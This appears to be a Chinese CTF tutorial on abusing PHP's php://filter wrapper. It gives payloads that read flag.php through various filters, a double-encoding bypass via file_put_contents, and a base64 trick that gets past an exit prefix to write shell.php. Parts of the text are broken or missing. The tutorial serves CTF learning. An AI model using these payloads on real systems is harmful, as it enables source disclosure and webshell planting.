payload:

php://filter/read=string.tolower/resource=flag.php

结果：

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

string.strip_tags

作用：

对于HTML来说，它会去除标签保留标签之间的内容

对于php来说，全杀一个不显示

警告

本特性已自 PHP 7.3.0 起废弃。强烈建议不要使用本特性

flag.php的内容：

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

无限大な梦のあとの

结果：

2.转换过滤器（convert.* ）

convert.base64-encode & convert.base64-decode

payload:

php://filter/read=convert.base64-encode/resource=flag.php

结果：

PD9waHANCiRmbGFnID0gInthc2QzLTR2ZmR0LWZha2xtazAtNDhmZn0iOw0KPz4gDQo=

convert.quoted-printable-encode 和 convert.quoted-printable-decode

阐释：与 quoted_printable_decode()函数 quoted_printable_encode()函数相同

Quoted-printable译为可打印字符引用编码，这里就是把一些不可打印的ASCII字符转换为十六进制的形式，下文中会再给出我的理解。

payload:

php://filter/read=convert.quoted-printable-encode/resource=flag.php

结果：

这里应该就是将'\n'换成0D0A的形式，如果碰到等号，就会在后面加上3D

convert.iconv.*

*的内容可以是：

UTF-8
UCS-2, UCS-2BE, UCS-2LE
UCS-4, UCS-4BE, UCS-4LE
UTF-16, UTF-16BE, UTF-16LE
UTF-32, UTF-32BE, UTF-32LE
UTF-7

这里特别补充说明一个点：

UCS-2LE.UCS-2BE、utf-7、utf-8

这些编码是可以通过'\n'拼接的，也就是意味着可以绕检测

举个例子：

php://filter/read=convert.iconv.ut%0Af-8.u%0Atf-7/resource=flag.php

如果题目过滤了utf，那么便可以使用此方法绕过（具体能不能使用还得看目标服务器，这个也不是绝对，不过是一个方法，也是一种思路，要多尝试）

结果：

不得不说，这个方法得到的东西太乱了，最好的解码方式就是本地解码

php://filter/read=convert.iconv.utf-7.utf-8/resource=flag.php

// 就是把原来的utf-7和utf-8交换一下位置

3.压缩过滤器

zlib.deflate（压缩）和 zlib.inflate（解压）

在激活 zlib 的前提下可以使用 zlib.* 压缩过滤器。

以为我没有激活，所以演示不了，只能贴一下payload了

php://filter/zlib.deflate|zlib.inflate/resource=flag.php

4.加密过滤器

警告

本特性已自 PHP 7.1.0 起废弃。强烈建议不要使用本特性。

这个东西太奇怪了，这里不做讨论

小结

讲了这么多，我必须 在这里提醒你，过滤器不是必选！！可以不用，很多时候不用有妙用。不要以为php://filter必须用过滤器。而且当你使用的是php不认识的过滤器，php不会做任何处理，切记。

先来了解一下file_put_contents这个函数

file_put_contents ( string$filename , mixed$data [, int$flags = 0 [, resource$context ]] ) : int

两个必要参数：

string $filename ->文件的名字

mixed $data ->写入文件的数据

无特别说明，则文件都是被写入当前目录下

也可以通过

@mkdir()

@chdir()

来设置文件存放路径

还有一个关于file_put_contents 的非常有用的知识：

file_put_contents 可以调用伪协议，并且伪协议处理数据时会对过滤器 urldecode一次

举个例子：

传参输入：(字母 t urlencode两次 -->%7%34)

?php://filter/read=string.ro%7%3413/resource=flag.php

地址栏自动解码一次

?php://filter/read=string.ro%7413/resource=flag.php

file_put_contents 解码一次

$content=php://filter/read=string.rot13/resource=flag.php

从而绕过检测

绕过死亡exit有三种情况

情况一

$filename=$_GET['filename'];
$content=$_POST['content'];
file_put_contents($filename," ?>

死亡前后不一致

BASE64绕过

原理：前面的phpexit是七个字节，而BASE64是四个字节一组转换成三个字节，所以我们这里再添加一个字母补足前面的八个字节后面的内容才会被正确解析为

filename=php://filter/convert.base64-decode/resource=shell.php

// 这里不要再添加read= 不然后面的content内容不会被解码

content=aPD9waHAgcGhwaW5mbygpOz8+

rot13绕过

原理：，因此绕过